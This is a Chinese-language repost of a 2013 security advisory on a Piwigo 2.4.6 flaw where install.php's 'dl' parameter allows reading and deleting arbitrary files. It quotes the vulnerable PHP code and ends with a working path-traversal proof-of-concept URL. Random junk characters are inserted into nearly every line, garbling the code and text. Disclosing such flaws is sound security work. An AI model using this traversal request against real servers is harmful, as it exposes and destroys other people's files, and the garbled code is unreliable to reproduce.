Piwigo是用PHP编写的相册脚本。0 Y8 D0 }, j8 K. d G
( K3 K4 J; L. L8 ?9 ]% HPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
1 y+ d* N) e- o/ c: `6 R====================================================================! C; ~ Q8 ?! p( f, K, D
/install.php:
( r* |$ W9 M, h8 O-------------
4 f4 c. u( P# n: D6 E, u4 l7 i7 C113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))* w0 Q! ?3 x9 t% l& v0 p
114: {, I# u+ {7 f) h. @" B: e2 V
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
$ R' ^( [2 a, ~8 B! M- P E. p116: header('Cache-Control: no-cache, must-revalidate');$ Z! U, Z8 `# R( w
117: header('Pragma: no-cache');
, n* ?% o# k/ [6 S118: header('Content-Disposition: attachment; filename="database.inc.php"');) |1 A! `6 B4 ^* X8 Y
119: header('Content-Transfer-Encoding: binary');* u; G. D8 N# T, F9 C1 T" ?
120: header('Content-Length: '.filesize($filename));" X0 ]; ~& T" z
121: echo file_get_contents($filename);
. d! | S: j" s/ k6 h+ _$ i9 Y1 ?122: unlink($filename);
' h5 D9 D& V" g0 \* [0 d123: exit();
$ \+ s6 k7 E# ]2 ^' w. o124: }% S8 Z5 L. e+ J0 _+ p
====================================================================0 K# x0 h8 R. X! y( t) \( N' @+ V
& c# h3 V5 \" d2 i* j$ y3 h- }) e. ]Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
. j! Q: T& I5 O! g Apache 2.4.2 (Win32)
* d2 v8 ^8 t- ~! K: T- U PHP 5.4.4
+ c4 O8 ]# j, k" m, B8 _- Z MySQL 5.5.25a3 E# k+ p1 U" j- ~ j5 f2 G
8 F" e7 ^( Q; d, x% s9 h) t3 {' j- HVulnerability discovered by Gjoko 'LiquidWorm' Krstic
! p% X& X3 J! v& M1 C" S9 l @zeroscience
+ i8 i! B/ h, E3 E$ c % [" L* ^0 {9 }
Advisory ID: ZSL-2013-51275 }7 e1 h j+ H; @- X( }
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php! H0 N! ^! f7 z H( Y8 g
Vendor Patch: http://piwigo.org/bugs/view.php?id=28439 {; l! G. L- B% @
1 A1 a+ B8 q7 o% p2 N15.02.2013
" M/ v# R* z! D n % O+ v/ ~' w# N, J; y/ W _7 {
--2 m r1 t% g+ q( y: u
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt8 S4 l( R, b7 _! u8 b
& u" A3 q& \3 U d& N/ [+ O4 ]2 {# B7 p |